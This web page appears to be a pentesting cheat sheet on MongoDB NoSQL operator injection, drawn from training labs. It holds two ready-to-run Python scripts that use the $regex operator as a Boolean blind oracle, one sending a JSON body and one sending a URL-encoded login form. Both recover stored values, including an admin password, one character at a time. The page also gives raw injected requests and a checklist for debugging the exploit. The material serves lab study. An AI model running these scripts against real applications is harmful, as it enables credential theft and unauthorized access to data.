Skip to content
Boolean Blind

Boolean Blind

NoSQL $regex prefix exfiltration JSON

This operator injection exists when the JSON decoder creates a nested object and application code passes that object directly into a MongoDB field condition. MongoDB then interprets $regex as a query operator instead of treating it as an ordinary property name.

The ^ anchor requires a match at the beginning of the stored field. Each request therefore asks whether the field begins with one candidate prefix. re.escape(candidate) accepts the current prefix and returns a version in which regex metacharacters are treated as literal characters. A positive application marker converts the match result into a Boolean oracle.

import re
import string
import sys

CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
TRUE_STRING = "Tracking number found"

def exfil(s, field):
    value = ""
    while True:
        matched = False
        for ch in CHARSET:
            candidate = value + ch
            json_data = {
                field: {
                    "$regex": "^" + re.escape(candidate) + ".*"
                }
            }
            try:
                r = s.post(url=SEARCH_URL, json=json_data, verify=False, timeout=10, proxies=PROXIES)
            except Exception as e:
                print(f"\n[-] request failed: {e}")
                sys.exit(1)
            if r.status_code == 200 and TRUE_STRING in r.text:
                value = candidate
                matched = True
                print(f"\rRecovering value: {value}", end="", flush=True)
                break
        if matched == False:
            print(f"\n[-] Charset exhausted after prefix: {value}")
            return value

Find by: nosql, mongodb, mongoose, regex, prefix, exfiltrate, boolean blind, dollar regex, anchored, operator injection, json body, tracking number · Source: CWEE/NoSQLi tracking + HTB/WildGooseHunt lessons

NoSQL $regex prefix exfiltration URL-encoded form

The same operator can arrive through a URL-encoded form when the server’s form parser interprets bracket notation. A name such as password[$regex] becomes a nested JavaScript object equivalent to {"password": {"$regex": "..."}}. The injection exists when application code passes that parsed object into the MongoDB query without reducing password to an ordinary string.

import re
import string
import sys

CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
TRUE_STRING = "Login Successful"

def exfil(s):
    value = "<KNOWN_PREFIX>"
    while True:
        matched = False
        for ch in CHARSET:
            candidate = value + ch
            data = {
                "username": "admin",
                "password[$regex]": "^" + re.escape(candidate) + ".*"
            }
            try:
                r = s.post(url=f"{URL}/api/login", data=data, verify=False, timeout=10, proxies=PROXIES)
            except Exception as e:
                print(f"\n[-] request failed: {e}")
                sys.exit(1)
            if r.status_code == 200 and TRUE_STRING in r.text:
                value = candidate
                matched = True
                print(f"\rRecovering value: {value}", end="", flush=True)
                break
        if matched == False:
            print(f"\n[-] Charset exhausted after prefix: {value}")
            return value

Injected request examples

POST /index.php
Content-Type: application/json

{"<FIELD>": {"$regex": "^<PREFIX>.*"}}
POST /api/login
Content-Type: application/x-www-form-urlencoded

username=<KNOWN_USER>&password[$regex]=^<PREFIX>.*

Find by: nosql, mongodb, mongoose, regex, prefix, exfiltrate, boolean blind, dollar regex, form encoded, urlencoded, bracket syntax, express, qs, body-parser · Source: HTB/WildGooseHunt

Oracle failure modes

Checklist. When extraction stops early or produces garbage, check these before changing the exploit logic.

  • Missing charset character: !, punctuation, space, or a non-printable byte can make the loop stop before the real end.
  • Regex metacharacter: always interpolate re.escape(prefix), otherwise {, }, ., *, ?, (, ), [, ], \, ^, $, and | change the query.
  • Wrong body parser: JSON object syntax and URL-encoded bracket syntax are not interchangeable.
  • Negative oracle: FALSE_STRING not in r.text can treat error pages, rate limits, proxy failures, and stack traces as success.
  • Untargeted query: if multiple documents can match the same prefix, add a stable filter such as the username.